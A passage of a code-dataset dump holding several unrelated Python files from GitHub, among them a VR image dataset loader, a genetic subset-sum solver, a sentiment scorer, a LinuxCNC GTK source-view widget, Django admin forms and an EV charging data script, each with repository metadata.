\n #smooth out velocities with a gaussian\n # for i in range(6):\n # this_run_states[:, i] = np.convolve(this_run_states[:, i], gaussian_filter, mode='same')\n\n #add to total list of states\n states.extend(this_run_states)\n\n #smooth out velocities with a moving average\n states = np.array(states, dtype=np.float32)\n #plot x velocity after smoothing\n states = torch.tensor(states).to('cuda')\n \n #compute mean and std of images\n rgbsTop = torch.stack(rgbsTop).float() / 255\n depthsTop = torch.stack(depthsTop).float() / 255\n rgbTop_mean = torch.mean(rgbsTop, dim=(0, 2, 3))\n depthTop_mean = torch.mean(depthsTop, dim=(0, 2, 3))\n\n rgbsEff = torch.stack(rgbsEff).float() / 255\n depthsEff = torch.stack(depthsEff).float() / 255\n rgbEff_mean = torch.mean(rgbsEff, dim=(0, 2, 3))\n depthEff_mean = torch.mean(depthsEff, dim=(0, 2, 3))\n\n rgbsSide = torch.stack(rgbsSide).float() / 255\n depthsSide = torch.stack(depthsSide).float() / 255\n rgbSide_mean = torch.mean(rgbsSide, dim=(0, 2, 3))\n depthSide_mean = torch.mean(depthsSide, dim=(0, 2, 3))\n \n #compute std\n rgbTop_std = torch.std(rgbsTop, dim=(0, 2, 3))\n depthTop_std = torch.std(depthsTop, dim=(0, 2, 3))\n\n rgbEff_std = torch.std(rgbsEff, dim=(0, 2, 3))\n depthEff_std = torch.std(depthsEff, dim=(0, 2, 3))\n\n rgbSide_std = torch.std(rgbsSide, dim=(0, 2, 3))\n depthSide_std = torch.std(depthsSide, dim=(0, 2, 3))\n\n #normalize images\n rgbsTop[:,0,:,:] = (rgbsTop[:,0,:,:] - rgbTop_mean[0]) / rgbTop_std[0]\n rgbsTop[:,1,:,:] = (rgbsTop[:,1,:,:] - rgbTop_mean[0]) / rgbTop_std[1]\n rgbsTop[:,2,:,:] = (rgbsTop[:,2,:,:] - rgbTop_mean[0]) / rgbTop_std[2]\n depthsTop = (depthsTop - depthTop_mean) / depthTop_std\n\n rgbsEff[:,0,:,:] = (rgbsEff[:,0,:,:] - rgbEff_mean[0]) / rgbEff_std[0]\n rgbsEff[:,1,:,:] = (rgbsEff[:,1,:,:] - rgbEff_mean[0]) / rgbEff_std[1]\n rgbsEff[:,2,:,:] = (rgbsEff[:,2,:,:] - rgbEff_mean[0]) / rgbEff_std[2]\n depthsEff = (depthsEff - depthEff_mean) / depthEff_std\n\n rgbsSide[:,0,:,:] = (rgbsSide[:,0,:,:] - rgbSide_mean[0]) / rgbSide_std[0]\n rgbsSide[:,1,:,:] = (rgbsSide[:,1,:,:] - rgbSide_mean[0]) / rgbSide_std[1]\n rgbsSide[:,2,:,:] = (rgbsSide[:,2,:,:] - rgbSide_mean[0]) / rgbSide_std[2]\n depthsSide = (depthsSide - depthSide_mean) / depthSide_std\n\n\n\n print('rgb mean: ', rgbTop_mean)\n print('rgb std: ', rgbTop_std)\n print('depth mean: ', depthTop_mean)\n print('depth std: ', depthTop_std)\n print('states mean: ', torch.mean(states, dim=0))\n print('states std: ', torch.std(states, dim=0))\n\n #normalize states\n for i in range(6):\n states[:, i] = (states[:, i] - torch.mean(states[:, i])) / torch.std(states[:, i])\n\n return rgbsTop, depthsTop, rgbsEff, depthsEff, rgbsSide, depthsSide, states\n \n def __len__(self):\n return len(self.states) // self.batch_size\n\n def __getitem__(self, idx):\n #shuffle array index mapping\n # if idx == 0:\n np.random.shuffle(self.arrayIndicies)\n \n idx = idx * self.batch_size\n desiredIndexes = self.arrayIndicies[idx:idx+self.batch_size]\n\n rgbTop_img = []\n depthTop_img = []\n rgbEff_img = []\n depthEff_img = []\n rgbSide_img = []\n depthSide_img = []\n state = []\n \n for i in desiredIndexes:\n rgbTop_img.append(self.rgbTop_images[i])\n depthTop_img.append(self.depthTop_images[i])\n rgbEff_img.append(self.rgbEff_images[i])\n depthEff_img.append(self.depthEff_images[i])\n rgbSide_img.append(self.rgbSide_images[i])\n depthSide_img.append(self.depthSide_images[i])\n\n state.append(self.states[i])\n\n rgbTop_img = torch.stack(rgbTop_img)\n depthTop_img = torch.stack(depthTop_img)\n rgbEff_img = torch.stack(rgbEff_img)\n depthEff_img = torch.stack(depthEff_img)\n rgbSide_img = torch.stack(rgbSide_img)\n depthSide_img = torch.stack(depthSide_img)\n\n state = torch.stack(state)\n\n return rgbTop_img, depthTop_img, rgbEff_img, depthEff_img, rgbSide_img, depthSide_img, state\n\nclass DataPreprocessor():\n def __init__(self, rgb_mean, rgb_std, depth_mean, depth_std, state_mean, state_std):\n self.rgb_mean = rgb_mean\n self.rgb_std = rgb_std\n self.depth_mean = depth_mean\n self.depth_std = depth_std\n self.state_mean = state_mean\n self.state_std = state_std\n\n def normalizeRgb(self, rgb):\n rgb[:,0,:,:] = (rgb[:,0,:,:] - self.rgb_mean[0]) / self.rgb_std[0]\n rgb[:,1,:,:] = (rgb[:,1,:,:] - self.rgb_mean[1]) / self.rgb_std[1]\n rgb[:,2,:,:] = (rgb[:,2,:,:] - self.rgb_mean[2]) / self.rgb_std[2]\n return rgb\n \n def normalizeDepth(self, depth):\n return (depth - self.depth_mean) / self.depth_std\n \n def normalizeState(self, state):\n for i in range(6):\n state[:, i] = (state[:, i] - self.state_mean[i]) / self.state_std[i]\n return state\n \n def denormalizeState(self, state):\n for i in range(6):\n state[:, i] = (state[:, i] * self.state_std[i]) + self.state_mean[i]\n return state\n \n\n","repo_name":"RushiBhatt007/VR-egocentric-embodied-AI-training","sub_path":"VRNet.py","file_name":"VRNet.py","file_ext":"py","file_size_in_byte":15866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"21632723471","text":"import random\r\n\r\n# Define the size of the population and the number of generations\r\nPOPULATION_SIZE = 100\r\nNUM_GENERATIONS = 1000\r\n\r\ndef subset_sum_genetic_algorithm(numbers, target_sum):\r\n # Initialize the population with random subsets of the numbers\r\n population = [set(random.sample(numbers, random.randint(1, len(numbers)))) for i in range(POPULATION_SIZE)]\r\n \r\n # Iterate over the specified number of generations\r\n for generation in range(NUM_GENERATIONS):\r\n # Evaluate the fitness of each individual in the population\r\n fitness_scores = [abs(target_sum - sum(individual)) for individual in population]\r\n \r\n # Select the fittest individuals to serve as parents\r\n parent_indices = sorted(range(len(fitness_scores)), key=lambda k: fitness_scores[k])[:2]\r\n parents = [population[i] for i in parent_indices]\r\n \r\n # Crossover the parents to generate a new child\r\n child = parents[0].union(parents[1])\r\n \r\n # Mutate the child by adding or removing a random number\r\n if random.random() < 0.5:\r\n child.add(random.choice(numbers))\r\n else:\r\n child.discard(random.choice(list(child)))\r\n \r\n # Replace the least fit individual in the population with the new child\r\n least_fit_index = max(range(len(fitness_scores)), key=lambda k: fitness_scores[k])\r\n population[least_fit_index] = child\r\n \r\n # Evaluate the fitness of the final population\r\n fitness_scores = [abs(target_sum - sum(individual)) for individual in population]\r\n \r\n # Return the fittest individual, if it has the target sum\r\n if min(fitness_scores) == 0:\r\n return population[fitness_scores.index(0)]\r\n else:\r\n return None\r\nnumbers = [2, 4, 6, 8, 10]\r\ntarget_sum = 14\r\nans= subset_sum_genetic_algorithm(numbers, target_sum)\r\nprint(ans)","repo_name":"harryhritik12/Artificial-Intelligence-","sub_path":"subsetusinggenetic.py","file_name":"subsetusinggenetic.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"37182311579","text":"\r\n\r\n#import nltk\r\n#nltk.download()\r\n\r\ndef demo_liu_hu_lexicon(sentence, plot=False):\r\n \"\"\"\r\n Basic example of sentiment classification using Liu and Hu opinion lexicon.\r\n This function simply counts the number of positive, negative and neutral words\r\n in the sentence and classifies it depending on which polarity is more represented.\r\n Words that do not appear in the lexicon are considered as neutral.\r\n\r\n :param sentence: a sentence whose polarity has to be classified.\r\n :param plot: if True, plot a visual representation of the sentence polarity.\r\n \"\"\"\r\n from nltk.corpus import opinion_lexicon\r\n from nltk.tokenize import treebank\r\n\r\n tokenizer = treebank.TreebankWordTokenizer()\r\n pos_words = 0\r\n neg_words = 0\r\n tokenized_sent = [word.lower() for word in tokenizer.tokenize(sentence)]\r\n\r\n x = list(range(len(tokenized_sent))) # x axis for the plot\r\n y = []\r\n\r\n for word in tokenized_sent:\r\n if word in opinion_lexicon.positive():\r\n pos_words += 1\r\n y.append(1) # positive\r\n elif word in opinion_lexicon.negative():\r\n neg_words += 1\r\n y.append(-1) # negative\r\n else:\r\n y.append(0) # neutral\r\n\r\n if (pos_words+neg_words) > 0:\r\n return (pos_words-neg_words)/float(pos_words+neg_words)\r\n else:\r\n return 0\r\n\r\n\r\n\r\n#sample\r\n#finalengsamp = finaleng.sample(frac=.1).copy()\r\nfinalengsamp = finaleng.copy()\r\n\r\n#check performance\r\nimport time\r\n\r\nstart = time.time()\r\n#demo_liu_hu_lexicon(Sentence)\r\n#demo_liu_hu_lexicon(Sentence1)\r\nfinalengsamp['sentiment'] = finalengsamp['text'].map(demo_liu_hu_lexicon)\r\nend = time.time()\r\nprint(end-start)\r\n\r\n\r\nfinalengsamp.to_csv('/home/ubuntu/Desktop/sentiment.csv',encoding='utf-8')\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"twarsavage/BIOS6640TwitterProject","sub_path":"sentimentanalysis.py","file_name":"sentimentanalysis.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"39584217892","text":"import sys\nimport pytest\n\n\nclass Solution:\n def reverseOnlyLetters(self, s: str) -> str:\n \"\"\"\n Time complexity: O(n)\n Space complexity: O(n)\n \"\"\"\n alphas = [c for c in reversed(s) if c.isalpha()]\n ret = ''\n i = 0\n for c in s:\n if c.isalpha():\n ret += alphas[i]\n i += 1\n else:\n ret += c\n return ret\n\n def reverseOnlyLetters(self, s: str) -> str:\n \"\"\"\n Time complexity: O(n)\n Space complexity: O(1)\n \"\"\"\n j = len(s)-1\n ret = ''\n for i, c in enumerate(s):\n if not c.isalpha():\n ret += c\n else:\n while j > 0 and not s[j].isalpha():\n j -= 1\n ret += s[j]\n j -= 1\n return ret\n\n\n@pytest.mark.parametrize('s, expected', [\n (\"ab-cd\", \"dc-ba\"),\n (\"a-bC-dEf-ghIj\", \"j-Ih-gfE-dCba\"),\n (\"Test1ng-Leet=code-Q!\", \"Qedo1ct-eeLg=ntse-T!\"),\n])\ndef test(s, expected):\n assert expected == Solution().reverseOnlyLetters(s)\n\n\nif __name__ == '__main__':\n sys.exit(pytest.main([\"-s\", \"-v\"] + sys.argv))\n","repo_name":"sungminoh/algorithms","sub_path":"leetcode/solved/953_Reverse_Only_Letters/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"391700807","text":"\"\"\"\nUseful utils for constructing agents\n\"\"\"\nimport torch\n\ndef softUpdateModelParameters(localModel, targetModel, tau):\n \"\"\"\n Copies the weights from the local model to the target model as a soft-update for small tau\n :param localModel: Pytorch model\n :param targetModel: Pytorch model\n :param tau: float (small)\n :return: None\n \"\"\"\n for targetParameter, localParameter in zip(targetModel.parameters(), localModel.parameters()):\n targetParameter.data.copy_(tau * localParameter.data + (1.0 - tau) * targetParameter.data)\n\n return\n\ndef sampleExperience(experienceReplay, batchSize, device):\n \"\"\"\n returns sampled experience from a replay buffer in pytorch tensor format\n :param experienceReplay: ExperienceReplay object\n :param batchSize: int\n :param device: \"cuda\" or \"cpu\"\n :return: states, actions, rewards, dones, nextStates\n \"\"\"\n states, actions, rewards, dones, nextStates = experienceReplay.sample(batchSize)\n\n states = torch.FloatTensor(states).to(device)\n actions = torch.FloatTensor(actions).unsqueeze(-1).to(device)\n rewards = torch.FloatTensor(rewards).unsqueeze(-1).to(device)\n dones = torch.FloatTensor(dones).unsqueeze(-1).to(device)\n nextStates = torch.FloatTensor(nextStates).to(device)\n\n assert dones.shape == rewards.shape\n assert actions.shape == rewards.shape # not necess if action space > 1 - remove when more complicated space\n\n return states, actions, rewards, dones, nextStates\n\n\n\n\n\n\n","repo_name":"cbjer/market-making-agents","sub_path":"Source/Agents/AgentConstructionUtils.py","file_name":"AgentConstructionUtils.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"34829360438","text":"# 669. Trim a Binary Search Tree\n# https://leetcode.com/problems/trim-a-binary-search-tree/\n\n# from typing import List\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n def __str__(self):\n return f'<{self.val}, {self.left}, {self.right}>'\n\n\nclass Solution:\n def trimBST(self, root: TreeNode, L: int, R: int) -> TreeNode:\n if not root:\n return None\n else:\n if root.val < L:\n return self.trimBST(root.right, L, R)\n elif root.val > R:\n return self.trimBST(root.left, L, R)\n\n root.left = self.trimBST(root.left, L, R)\n root.right = self.trimBST(root.right, L, R)\n\n return root\n\n return\n","repo_name":"nk18chi/leetcode-python","sub_path":"solutions/trim_a_binary_search_tree/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"15347853199","text":"d = int(input())\ncorrectwords = [input().lower() for i in range(d)]\nl = int(input())\ntext = [input().split() for i in range(l)]\nresult = []\nfor line in text:\n for item in line:\n temp = item.lower()\n if temp not in correctwords:\n if temp not in result:\n result.append(temp)\nprint('\\n'.join(result))","repo_name":"stge4code/CodePractice","sub_path":"stepic.org/Python_Programming/3.7-3.py","file_name":"3.7-3.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"39719602895","text":"def make_HOF(list, hof_list):\n \"\"\"Adds Hall of Famer to each player in list\"\"\"\n for player in list:\n player = f'Hall of Famer {player}'\n hof_list.append(player)\n#takes list and appends to new list hall of fame\n\ndef show_players(player_list):\n \"\"\"Passes list to print players in list\"\"\"\n for player in player_list:\n print(player)\n#prints list argument\n \nplayers = ['Kobe Bryant', 'Shaq', 'Michael Jordan']\nhof_players = []\nmake_HOF(players, hof_players)\nshow_players(hof_players)\n#list definition and function call passing list through","repo_name":"sweetrellish/python_work1","sub_path":"Week 9/hall_of_famer.py","file_name":"hall_of_famer.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"31604916618","text":"import os, time\n\nimport gi\ngi.require_version(\"Gtk\",\"3.0\")\ngi.require_version(\"Gdk\",\"3.0\")\ngi.require_version(\"GtkSource\",\"3.0\")\nfrom gi.repository import Gtk\nfrom gi.repository import Gdk\nfrom gi.repository import GObject\nfrom gi.repository import GtkSource\nfrom gi.repository import GLib\n\nfrom .hal_widgets import _HalWidgetBase\nimport linuxcnc\nfrom hal_glib import GStat\nfrom .hal_actions import _EMC_ActionBase, _EMC_Action\nfrom .hal_filechooser import _EMC_FileChooser\n\nclass EMC_SourceView(GtkSource.View, _EMC_ActionBase):\n __gtype_name__ = 'EMC_SourceView'\n __gsignals__ = {\n 'changed': (GObject.SIGNAL_RUN_FIRST, GObject.TYPE_NONE, (GObject.TYPE_BOOLEAN,)),\n }\n\n __gproperties__ = {\n 'idle_line_reset' : ( GObject.TYPE_BOOLEAN, 'Reset Line Number when idle', 'Sets line number back to 0 when code is not running or paused',\n True, GObject.ParamFlags.READWRITE | GObject.ParamFlags.CONSTRUCT)\n }\n def __init__(self, *a, **kw):\n GtkSource.View.__init__(self, *a, **kw)\n self.filename = None\n self.mark = None\n self.offset = 0\n self.program_length = 0\n self.idle_line_reset = True\n self.buf = self.get_buffer()\n self.buf.set_max_undo_levels(20)\n self.buf.connect('changed', self.update_iter)\n self.buf.connect('modified-changed', self.modified_changed)\n self.lm = GtkSource.LanguageManager()\n self.sm = GtkSource.StyleSchemeManager()\n if 'EMC2_HOME' in os.environ:\n path = os.path.join(os.environ['EMC2_HOME'], 'share/gtksourceview-2.0/language-specs/')\n self.lm.set_search_path(self.lm.get_search_path() + [path])\n\n self.buf.set_language(self.lm.get_language('.ngc'))\n self.set_show_line_numbers(True)\n self.set_show_line_marks(True)\n self.set_highlight_current_line(True)\n\n self.add_mark_category('error', '#ff7373')\n self.add_mark_category('motion', '#c5c5c5')\n self.add_mark_category('selected', '#96fef6')\n\n #TODO: how to set property background? but seems to work ok regardless.\n # --> with \n # self.buf.create_tag(background_rgba=Gdk.RGBA(0.0, 0.0, 1.0, 1.0), \n # background_set=True), but seems not to have any impact\n self.found_text_tag = self.buf.create_tag()\n\n self.connect('button-release-event', self.button_pressed)\n\n def add_mark_category(self, category, bg_color):\n att = GtkSource.MarkAttributes()\n color = Gdk.RGBA()\n color.parse(bg_color)\n att.set_background(color)\n self.set_mark_attributes(category, att, 1)\n\n def do_get_property(self, property):\n name = property.name.replace('-', '_')\n if name in ['idle_line_reset']:\n return getattr(self, name)\n else:\n raise AttributeError('unknown property %s' % property.name)\n\n def do_set_property(self, property, value):\n name = property.name.replace('-', '_')\n if name in ['idle_line_reset']:\n return setattr(self, name, value)\n else:\n raise AttributeError('unknown property %s' % property.name)\n\n def _hal_init(self):\n _EMC_ActionBase._hal_init(self)\n self.gstat.connect('file-loaded', lambda w, f: GLib.timeout_add(1, self.load_file, f))\n self.gstat.connect('line-changed', self.highlight_line)\n if self.idle_line_reset:\n self.gstat.connect('interp_idle', lambda w: self.set_line_number(0))\n\n def set_language(self, lang, path = None):\n # path = the search path for the language file\n # if none, set to default\n # lang = the lang file to set\n if path == None:\n if 'EMC2_HOME' in os.environ:\n path = os.path.join(os.environ['EMC2_HOME'], 'share/gtksourceview-2.0/language-specs/')\n if path:\n self.lm.set_search_path(path)\n self.buf.set_language(self.lm.get_language(lang))\n \n def set_style_scheme(self, style, path = None):\n if path:\n self.sm.set_search_path(path)\n self.buf.set_style_scheme(self.sm.get_scheme(style))\n\n def get_filename(self):\n return self.filename\n\n # This load the file while not allowing undo buttons to unload the program.\n # It updates the iter because iters become invalid when anything changes.\n # We set the buffer-unmodified flag false after loading the file.\n # Set the highlight line to the line linuxcnc is looking at.\n # if one calls load_file without a filename, We reload the existing file.\n def load_file(self, fn=None):\n self.buf.begin_not_undoable_action()\n if fn == None:\n fn = self.filename\n self.filename = fn\n if not fn:\n self.buf.set_text('')\n return \n self.buf.set_text(open(fn).read())\n self.buf.end_not_undoable_action()\n self.buf.set_modified(False)\n self.update_iter()\n self.highlight_line(self.gstat, self.gstat.stat.motion_line)\n self.offset = self.gstat.stat.motion_line\n f = open(fn, 'r')\n p = f.readlines()\n f.close()\n self.program_length = len(p)\n\n # This moves the highlight line to a lower numbered line.\n # useful for run-at-line selection\n def line_down(self):\n self.offset +=1\n self.check_offset()\n self.highlight_line(self.gstat, self.offset)\n\n # This moves the highlight line to a higher numbered line.\n # useful for run-at-line selection\n def line_up(self):\n self.offset -=1\n self.check_offset()\n self.highlight_line(self.gstat, self.offset)\n\n def get_line_number(self):\n return self.offset\n\n # sets the highlight line to a specified line.\n def set_line_number(self,linenum):\n self.offset = linenum\n self.check_offset()\n self.highlight_line(self.gstat, self.offset)\n\n def check_offset(self):\n if self.offset < 0:\n self.offset = 0\n elif self.offset > self.program_length:\n self.offset = self.program_length\n\n def highlight_line(self, w, l):\n self.offset = l\n if not l:\n if self.mark:\n self.buf.delete_mark(self.mark)\n self.mark = None\n return\n line = self.buf.get_iter_at_line(l-1)\n if not self.mark:\n self.mark = self.buf.create_source_mark('motion', 'motion', line)\n self.mark.set_visible(True)\n else:\n self.buf.move_mark(self.mark, line)\n self.scroll_to_mark(self.mark, 0, True, 0, 0.5)\n\n def button_pressed(self,widget,event):\n self.update_iter()\n\n # iters are invalid (and will cause a complete crash) after any changes.\n # so we have to update them after a change or the user clicks on view with mouse\n # re-establish start and end of text\n # current_iter is the cursor position\n # cancel the last search match\n def update_iter(self,widget=None):\n self.start_iter = self.buf.get_start_iter()\n self.end_iter = self.buf.get_end_iter()\n # get iter at current insertion point (cursor)\n self.current_iter = self.buf.get_iter_at_mark(self.buf.get_insert())\n self.match_start = self.match_end = None\n start, end = self.buf.get_bounds()\n self.buf.remove_tag(self.found_text_tag, start, end)\n\n def modified_changed(self, widget):\n self.update_iter()\n self.emit(\"changed\", self.buf.get_modified())\n\n # This will search the buffer for a specified text string.\n # You can search forward or back, with mixed case or exact text.\n # if it searches to either end, if search is pressed again, it will start at the other end.\n # This will grab focus and set the cursor active, while highlighting the line.\n # It automatically scrolls if it must.\n # it primes self.match_start for replacing text \n def text_search(self,direction=True,mixed_case=True,text=\"t\",wrap=True):\n CASEFLAG = 0\n if mixed_case:\n CASEFLAG = Gtk.TextSearchFlags.CASE_INSENSITIVE\n if self.buf.get_selection_bounds():\n start, end = self.buf.get_selection_bounds()\n if direction:\n self.current_iter = end\n else:\n self.current_iter = start\n if direction:\n found = Gtk.TextIter.forward_search(self.current_iter,text,CASEFLAG, None)\n if not found and wrap: \n self.current_iter = self.start_iter.copy()\n found = Gtk.TextIter.forward_search(self.current_iter,text,CASEFLAG, None)\n else:\n found = Gtk.TextIter.backward_search(self.current_iter,text,CASEFLAG, None)\n if not found and wrap:\n self.current_iter = self.end_iter.copy()\n found = Gtk.TextIter.backward_search(self.current_iter,text,CASEFLAG, None)\n if found:\n # erase any existing highlighting tags\n try:\n self.buf.remove_tag(self.found_text_tag, self.match_start, self.match_end)\n except:\n pass\n self.match_start,self.match_end = found\n self.buf.apply_tag(self.found_text_tag, self.match_start, self.match_end)\n self.buf.select_range(self.match_start,self.match_end)\n self.grab_focus()\n if direction:\n self.current_iter = self.match_end.copy()\n else:\n self.current_iter = self.match_start.copy()\n self.scroll_to_iter(self.match_start, 0, True, 0, 0.5)\n\n else:\n self.match_start = self.match_end = None\n\n # check if we already have a match\n # if so and we are replacing-all, delete and insert without individular undo moves\n # if so but not replace-all, delete and insert with individulat undo moves\n # do a search to prime self.match_start\n # if we have gone to the end, stop searching\n # if not replace-all stop searching, otherwise start again\n def replace_text_search(self,direction=True,mixed_case=True,text=\"t\",re_text=\"T\",replace_all=False):\n if not replace_all:\n if self.match_start:\n self.buf.delete_interactive(self.match_start, self.match_end,True)\n self.buf.insert_interactive_at_cursor(re_text,-1,True)\n self.text_search(direction,mixed_case,text)\n else:\n self.current_iter = self.buf.get_start_iter()\n while True:\n self.text_search(direction,mixed_case,text,False)\n if self.match_start:\n self.buf.delete(self.match_start, self.match_end)\n self.buf.insert_at_cursor(re_text)\n else:\n break\n\n # undo one level of changes\n def undo(self):\n if self.buf.can_undo():\n self.buf.undo()\n\n # redo one level of changes\n def redo(self):\n if self.buf.can_redo():\n self.buf.redo()\n\ndef safe_write(filename, data, mode=0o644):\n import os, tempfile\n fd, fn = tempfile.mkstemp(dir=os.path.dirname(filename), prefix=os.path.basename(filename))\n try:\n os.write(fd, data.encode())\n os.close(fd)\n fd = None\n os.rename(fn, filename)\n os.chmod(filename, mode)\n finally:\n if fd is not None:\n os.close(fd)\n if os.path.isfile(fn):\n os.unlink(fn)\n\nclass EMC_Action_Save(_EMC_Action, _EMC_FileChooser):\n __gtype_name__ = 'EMC_Action_Save'\n __gproperties__ = { 'textview' : (EMC_SourceView.__gtype__, 'Textview',\n \"Corresponding textview widget\", GObject.ParamFlags.READWRITE),\n }\n def __init__(self, *a, **kw):\n _EMC_Action.__init__(self, *a, **kw)\n self.textview = None\n\n def _hal_init(self):\n _EMC_Action._hal_init(self)\n\n def on_activate(self, w):\n if not self.textview or not self.textview.filename:\n return\n self.save(self.textview.filename)\n\n def save(self, fn):\n b = self.textview.get_buffer()\n b.set_modified(False)\n safe_write(fn, b.get_text(b.get_start_iter(), b.get_end_iter(), False))\n self._load_file(fn)\n\n def do_set_property(self, property, value):\n name = property.name.replace('-', '_')\n if name == 'textview':\n self.textview = value\n else:\n return _EMC_Action.do_set_property(self, property, value)\n\n def do_get_property(self, property):\n name = property.name.replace('-', '_')\n if name == 'textview':\n return self.textview\n else:\n return _EMC_Action.do_get_property(self, property)\n\n\nclass EMC_Action_SaveAs(EMC_Action_Save):\n __gtype_name__ = 'EMC_Action_SaveAs'\n __gsignals__ = {\n 'saved-as': (GObject.SIGNAL_RUN_FIRST, GObject.TYPE_NONE, ()),\n }\n\n def __init__(self, *a, **kw):\n _EMC_Action.__init__(self, *a, **kw)\n self.textview = None\n self.currentfolder = os.path.expanduser(\"~/linuxcnc/nc_files\")\n\n def on_activate(self, w):\n if not self.textview:\n return\n dialog = Gtk.FileChooserDialog(title=\"Save As\",action=Gtk.FileChooserAction.SAVE,\n buttons=(Gtk.STOCK_CANCEL,Gtk.ResponseType.CANCEL,Gtk.STOCK_SAVE,Gtk.ResponseType.OK))\n dialog.set_do_overwrite_confirmation(True)\n dialog.set_current_folder(self.currentfolder)\n if self.textview.filename:\n dialog.set_current_name(os.path.basename(self.textview.filename))\n dialog.show()\n r = dialog.run()\n fn = dialog.get_filename()\n dialog.destroy()\n if r == Gtk.ResponseType.OK:\n self.save(fn)\n self.currentfolder = os.path.dirname(fn)\n self.emit('saved-as')\n","repo_name":"LinuxCNC/linuxcnc","sub_path":"lib/python/gladevcp/hal_sourceview.py","file_name":"hal_sourceview.py","file_ext":"py","file_size_in_byte":13812,"program_lang":"python","lang":"en","doc_type":"code","stars":1555,"dataset":"github-code","pt":"68"} +{"seq_id":"10095353947","text":"from django import forms\nfrom authapp.models import ShopUser\nfrom authapp.forms import ShopUserEditForm\nfrom mainapp.models import ProductCategory, Product\nfrom ordersapp.models import Order, OrderItem\n\n\nclass ShopUserAdminEditForm(ShopUserEditForm):\n class Meta:\n model = ShopUser\n fields = '__all__'\n\n\nclass CategoryForm(forms.ModelForm):\n class Meta:\n model = ProductCategory\n fields = ('name', 'description', 'is_deleted')\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n field.help_text = ''\n\n\nclass ProductForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n field.help_text = ''\n\n\nclass AdminOrderForm(forms.ModelForm):\n class Meta:\n model = Order\n exclude = ('user',)\n\n def __init__(self, *args, **kwargs):\n super(AdminOrderForm, self).__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n\n\nclass AdminOrderItemEditForm(forms.ModelForm):\n price = forms.CharField(label='цена', required=False)\n\n class Meta:\n model = OrderItem\n exclude = ()\n\n def __init__(self, *args, **kwargs):\n super(AdminOrderItemEditForm, self).__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n\n\nclass ProductCategoryEditForm(forms.ModelForm):\n discount = forms.IntegerField(label='скидка', required=False, min_value=0, max_value=90, initial=0)\n\n class Meta:\n model = ProductCategory\n exclude = ()\n","repo_name":"SurfaceYellowDuck/django_first_project","sub_path":"adminapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"23973319437","text":"\"\"\"data_fields in LogEntry model\n\nRevision ID: dca2e3e8a5e8\nRevises: 1753904231ff\nCreate Date: 2020-11-07 22:55:40.965889\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'dca2e3e8a5e8'\ndown_revision = '1753904231ff'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('log_entry', sa.Column('data_fields', sa.String(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('log_entry', 'data_fields')\n # ### end Alembic commands ###\n","repo_name":"platelet-app/platelet-api","sub_path":"migrations/versions/dca2e3e8a5e8_data_fields_in_logentry_model.py","file_name":"dca2e3e8a5e8_data_fields_in_logentry_model.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"5025801407","text":"\"\"\" \n Read and pre-process 2nd upload of charge files and visualise EV user data from Monta\n\"\"\"\n\n# Imports\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport plotly.graph_objects as go\nimport datetime\nimport pickle\npd.set_option('display.max_rows', 500)\nlayout = dict(font=dict(family='Computer Modern',size=11),\n margin=dict(l=5, r=5, t=30, b=5),\n width=605, height= 250,\n title_x = 0.5,\n legend=dict(orientation=\"h\", yanchor=\"bottom\", y=-.32, xanchor=\"right\", x=1))\npath = '/Users/davidipsen/Documents/DTU/5. Semester (MSc)/Thesis - SmartCharge/plots/EV_Monta/Individual_EVs/'\npathhtml = '/Users/davidipsen/Documents/DTU/5. Semester (MSc)/Thesis - SmartCharge/plots/_figures/'\n\nD = pd.read_csv('data/Monta/testdata/SANDBOX.csv', header=0, parse_dates=True, low_memory=False)\nspot = pd.read_csv('data/spotprice/df_spot_2022.csv')\ndfB = pd.read_csv('data/Monta/vehicles.csv', header=0, index_col=None)\ndfB.index = dfB.index +1 # VEHICLE_ID is index but starts at 1.\nspot = pd.read_csv('data/spotprice/df_spot_2022.csv')\n# Join dfB and D on dfb['id'] = D['vehicle_id']\nD = D.merge(dfB, left_on='VEHICLE_ID', right_on=dfB.index, how='left')\n\n# Convert to datetime and Copenhagen Time\ntimevars = 